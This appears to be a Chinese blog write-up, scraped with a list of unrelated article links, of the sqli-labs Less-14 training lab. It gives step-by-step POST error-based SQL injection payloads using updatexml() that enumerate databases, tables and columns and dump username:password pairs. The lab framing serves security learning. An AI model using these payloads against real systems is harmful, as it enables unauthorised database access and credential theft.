当前位置: 首页 > news >正文

sqli-labs less-14post报错注入updatexml

post提交报错注入

在这里插入图片描述

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit
页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入

uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错
uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit
发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat(‘~’,(select concat(username,‘:’,password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,

http://www.lryc.cn/news/455749.html

相关文章:

  • Python开发环境配置(mac M2)
  • 其他:Python语言绘图合集
  • 处理 Vue3 中隐藏元素刷新闪烁问题
  • 【MySQL】数据目录迁移
  • 【项目安全设计】软件系统安全设计规范和标准(doc原件)
  • INS淡绿色风格人像街拍Lr调色教程,手机滤镜PS+Lightroom预设下载!
  • python 实现最小路径和算法
  • Vue3实现动态菜单功能
  • Qt+VS2019+大恒相机相机回调方式总结
  • Python库pandas之六
  • [C++]使用纯opencv部署yolov11-seg实例分割onnx模型
  • PAT甲级-1122 Hamiltonian Cycle
  • Java 插入排序
  • 随机掉落的项目足迹:Vue3中vite.config.ts配置代理服务器解决跨域问题
  • C++笔记之标准库和boost库中bind占位符_1的写法差异
  • 二分查找
  • 关注、取关、Redis实现共同关注、 博客推送与分页查询
  • 专业高清录屏软件!Mirillis Action v4.40 解锁版下载,小白看了都会的安装方法
  • 胤娲科技:AI重塑会议——灵动未来,会议新纪元
  • Python画笔案例-080 绘制 颜色亮度测试
  • MATLAB工具库:数据统计分析工具MvCAT、MhAST等
  • 角色动画——RootMotion全解
  • 加密软件的桌面管理系统有什么?
  • 【stm32】寄存器(stm32技术手册下载链接)
  • django的路由分发
  • 《贪吃蛇小游戏 1.0》源码
  • 初入网络学习第一篇
  • (项目管理系列课程)项目规划阶段:项目范围管理-收集需求
  • SQl注入文件上传及sqli-labs第七关less-7
  • 想成为月薪过万的软件测试工程师?快看过来!